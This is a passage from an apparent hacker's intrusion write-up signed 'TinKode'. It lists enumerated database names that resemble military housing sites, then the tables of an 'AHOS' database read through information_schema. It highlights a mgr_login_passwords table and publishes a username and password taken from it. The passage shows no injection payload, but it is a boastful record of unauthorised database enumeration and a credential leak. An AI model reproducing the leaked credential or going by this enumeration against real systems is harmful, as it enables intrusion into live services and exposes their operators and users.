[45] HNRYA4KOA4HG086
[46] HUMPA1KODPWH014
[47] RICH123A0PHO001
[48] SCHOU01A4DPWHMS
[49] TORIDPWA4177105
[50] WAIN224DB003153
[51] YONGA4KODPHD995
[52] ZAMADPWA0067011
[53] ANADA1HOMES
[54] APGRA0GAG-HOMES
[55] BENNA0I32214251
[56] BLISSVDPW1HS001
[57] BRAGA4PWAJ18145
[58] CARSDPWXAPS0002
[59] DAEN3104WKLS005
[60] DAMIAP06
[61] DIXXAPRDPW00001
[62] DRUMA001VA11202
[63] DUGWITA4HOMES
[64] EUSTDB13HOMES01
[65] FS-HOMES01
[66] FTBELVOIR_S001
[67] GAHSGHOMES
[68] GORDDBRCP001
[69] HAMIA1206DPW008
[70] HAWTA0HOMES
[71] HIALA0KOA4HG170
[72] HOODA0DPWSYS003
[73] IRWIIMA0HOMES3
[74] JACKDLEHOMES
[75] KNOXDBOSNT2
[76] KS-HSG-HOMES

We can access information_schema, so let’s see the tables from principal database “AHOS

[0] comd_list
[1] dtproperties
[2] Faqs
[3] Faqs_Categories
[4] Forms
[5] forms_base
[6] gBase
[7] gBase_OLD
[8] gCountries
[9] gHousing_offices
[10] gHousing_offices-old
[11] gStates
[12] Housing_off_post
[13] Housing_phone_qr
[14] mgr_login
[15] mgr_login_OLD
[16] mgr_login_passwords
[17] mgr_login_save
[18] MgrCorner_Configuration
[19] MgrCorner_Configuration_ID
[20] must_know
[21] must_know_cat
[22] Must_know_OLD
[23] sysconstraints
[24] syssegments
[25] UPH
[26] UPH_OLD
[27] uph_photo_text
[28] uph_photo_tours
[29] uph_photos
[30] v_mapview
[31] V_RankView
[32] vHousingAreas
[33] vhqd_vrtours
[34] VIEW_housing
[35] VIEW_phototours
[36] VIEW_vrtours
[37] vMapFiles
[38] vMapOrder
[39] vPhotoFiles
[40] vPlan
[41] vPlanFiles
[42] vRank
[43] vRankDesc
[44] vRankRankDesc
[45] waitlist
[46] waitlist_items

Now, here are some interesting tables, like mgr_login_passwords.

Here i found user : password columns, with :

#Username: Dynatouch
#Password: AHOS

wtf! :|

That it’s all! Bye, TinKode…